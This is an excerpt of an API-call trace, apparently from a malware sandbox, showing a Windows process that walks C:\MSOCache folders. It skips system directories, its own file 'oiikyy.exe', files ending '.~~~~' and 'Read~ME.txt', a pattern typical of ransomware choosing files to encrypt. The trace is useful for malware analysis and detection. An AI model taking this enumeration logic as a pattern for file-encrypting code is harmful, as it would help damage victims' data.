	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.706] GetCurrentThreadId () returned 0x618
	[0064.706] GetCurrentThreadId () returned 0x618
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa5b8
	[0064.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7798
	[0064.707] RtlWakeConditionVariable () returned 0x365f48
	[0064.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.708] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1
	[0064.708] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.708] lstrcmpW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.708] lstrcmpW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.708] lstrcmpW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.708] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.708] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.708] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.708] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.709] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.922] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.922] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.922] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.923] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.923] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.923] GetCurrentThreadId () returned 0x618
	[0064.923] GetCurrentThreadId () returned 0x618
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa5f0
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fad68
	[0064.923] RtlWakeConditionVariable () returned 0x365f48
	[0064.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.923] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.923] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.923] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.923] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.923] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.923] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.923] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.923] GetCurrentThreadId () returned 0x618
	[0064.923] GetCurrentThreadId () returned 0x618
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa628
	[0064.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fae00
	[0064.923] RtlWakeConditionVariable () returned 0x365f48
	[0064.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.924] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1
	[0064.924] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="Windows") returned -1
	[0064.924] lstrcmpW (lpString1="OneNoteMUI.msi", lpString2="oiikyy.exe") returned 1
	[0064.924] StrStrW (lpFirst="OneNoteMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.924] lstrcmpW (lpString1="OneNoteMUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.924] GetCurrentThreadId () returned 0x618
	[0064.924] GetCurrentThreadId () returned 0x618
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa660
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0064.924] RtlWakeConditionVariable () returned 0x365f48
	[0064.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.924] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0064.924] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="Windows") returned -1
	[0064.924] lstrcmpW (lpString1="OneNoteMUI.xml", lpString2="oiikyy.exe") returned 1
	[0064.924] StrStrW (lpFirst="OneNoteMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.924] lstrcmpW (lpString1="OneNoteMUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.924] GetCurrentThreadId () returned 0x618
	[0064.924] GetCurrentThreadId () returned 0x618
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa698
	[0064.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0064.924] RtlWakeConditionVariable () returned 0x365f48
	[0064.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.925] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1
	[0064.925] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="Windows") returned -1
	[0064.925] lstrcmpW (lpString1="OnoteLR.cab", lpString2="oiikyy.exe") returned 1
	[0064.925] StrStrW (lpFirst="OnoteLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.925] lstrcmpW (lpString1="OnoteLR.cab", lpString2="Read~ME.txt") returned -1
	[0064.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.925] GetCurrentThreadId () returned 0x618
	[0064.925] GetCurrentThreadId () returned 0x618
	[0064.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa6d0
	[0064.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7840
	[0064.925] RtlWakeConditionVariable () returned 0x365f48
	[0064.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.925] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.925] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.925] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.925] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.925] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.925] GetCurrentThreadId () returned 0x618
	[0064.925] GetCurrentThreadId () returned 0x618
	[0064.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa708
	[0064.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e78e8
	[0064.926] RtlWakeConditionVariable () returned 0x365f48
	[0064.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.926] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.926] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.927] GetCurrentThreadId () returned 0x618
	[0064.927] GetCurrentThreadId () returned 0x618
	[0064.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa740
	[0064.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7990
	[0064.927] RtlWakeConditionVariable () returned 0x365f48
	[0064.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.928] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1
	[0064.928] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.928] lstrcmpW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.928] lstrcmpW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.929] lstrcmpW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.929] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.929] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.929] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.929] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.929] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.933] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.933] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.933] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.933] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.933] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.933] GetCurrentThreadId () returned 0x618
	[0064.933] GetCurrentThreadId () returned 0x618
	[0064.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa778
	[0064.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fae98
	[0064.933] RtlWakeConditionVariable () returned 0x365f48
	[0064.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.933] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.933] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.933] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.934] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.934] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.934] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.934] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.934] GetCurrentThreadId () returned 0x618
	[0064.934] GetCurrentThreadId () returned 0x618
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa7b0
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27faf30
	[0064.934] RtlWakeConditionVariable () returned 0x365f48
	[0064.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.934] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1
	[0064.934] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="Windows") returned -1
	[0064.934] lstrcmpW (lpString1="ProjectMUI.msi", lpString2="oiikyy.exe") returned 1
	[0064.934] StrStrW (lpFirst="ProjectMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.934] lstrcmpW (lpString1="ProjectMUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.934] GetCurrentThreadId () returned 0x618
	[0064.934] GetCurrentThreadId () returned 0x618
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa7e8
	[0064.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0064.934] RtlWakeConditionVariable () returned 0x365f48
	[0064.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.934] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0064.935] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="Windows") returned -1
	[0064.935] lstrcmpW (lpString1="ProjectMUI.xml", lpString2="oiikyy.exe") returned 1
	[0064.935] StrStrW (lpFirst="ProjectMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.935] lstrcmpW (lpString1="ProjectMUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.935] GetCurrentThreadId () returned 0x618
	[0064.935] GetCurrentThreadId () returned 0x618
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa820
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4498
	[0064.935] RtlWakeConditionVariable () returned 0x365f48
	[0064.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.935] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1
	[0064.935] lstrcmpiW (lpString1="ProjLR.cab", lpString2="Windows") returned -1
	[0064.935] lstrcmpW (lpString1="ProjLR.cab", lpString2="oiikyy.exe") returned 1
	[0064.935] StrStrW (lpFirst="ProjLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.935] lstrcmpW (lpString1="ProjLR.cab", lpString2="Read~ME.txt") returned -1
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.935] GetCurrentThreadId () returned 0x618
	[0064.935] GetCurrentThreadId () returned 0x618
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa858
	[0064.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0064.935] RtlWakeConditionVariable () returned 0x365f48
	[0064.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.936] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.936] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.936] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.936] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.936] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.936] GetCurrentThreadId () returned 0x618
	[0064.936] GetCurrentThreadId () returned 0x618
	[0064.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa890
	[0064.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ae0
	[0064.936] RtlWakeConditionVariable () returned 0x365f48
	[0064.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.936] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.936] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.937] GetCurrentThreadId () returned 0x618
	[0064.937] GetCurrentThreadId () returned 0x618
	[0064.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa8c8
	[0064.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7b88
	[0064.937] RtlWakeConditionVariable () returned 0x365f48
	[0064.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.938] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1
	[0064.938] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.938] lstrcmpW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.938] lstrcmpW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.938] lstrcmpW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.938] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.938] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.938] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.938] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.938] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
